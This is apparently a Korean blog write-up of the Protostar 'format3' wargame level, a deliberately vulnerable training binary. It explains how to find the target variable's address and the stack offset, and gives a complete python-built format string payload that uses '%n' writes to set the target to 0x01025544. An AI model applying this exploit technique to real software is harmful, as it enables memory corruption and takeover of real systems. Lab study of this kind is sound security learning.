This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.
This level is at /opt/protostar/bin/format3
버퍼 크기가 512이고 버퍼를 입력 받는다.
target이 0x01025544일 때 문제가 풀린다.
target위치부터 봐야겠다.
objdump -t ./format3 | grep target
target의 위치를 보니, '080496f4'가 나온다.
이번에도 target값을 바꿔야 하는데, 이번엔 상당히 길다.
echo $(python -c "print 'AAAA' + '%x.' * 12") | ./format3
일단 값이 어떻게 출력되는지 확인해보기 위해 13대신 다양한 값들을 넣어본다.
13이 딱 적당하게 우리가 출력하고자 하는 41414141:에서 끝나기 때문에 이 정도임을 확인했다.
이제 target을
01025544로 바꿔야 하기 때문에 이번엔 나눠서 해야 한다.
(python -c 'print "AAAA" + "\xf4\x96\x04\x08" + "AAAA" + "\xf5\x96\x04\x08" + "AAAA" + "\xf7\x96\x04\x08" + "%x"*11 + "%213x" + "\n" + "%271x" + "%n" + "%170x" + "%n"')|./format3
앞의 문제에서 했던 것처럼 AAAA를 사용하고, 마찬가지로 target의 주소를 넣는다.
여기서 값을 채울 때
바꿀 값은 01025544인데, 01 / 0255 /44 로 나눠서 놓도록 한다.
그래서 f4, f5, f7이렇게 값을 넣는 것으로 바이트를 변경한다.
이제 값을 넣는다.
일단 끝은 44이니 44부터 한다.
44에서 44의 %8x인 77을 빼고 10진수 8을 더하면 된다. 근데 44에서 빼면 마이너스니까 앞에 1을 붙여서 한다.
0x144 (16진수) - 0x77 + 8 = 213
이런 식으로 진행해나가면 각각 213, 271, 170이 나온다.
'system' 카테고리의 다른 글
[protostar]heap0 (0) | 2020.11.07 |
---|---|
[protostar]format4 (0) | 2020.11.05 |
[protostar]format2 (0) | 2020.11.04 |
[protostar]Format1 (0) | 2020.11.03 |
[protostar]format0 (0) | 2020.11.02 |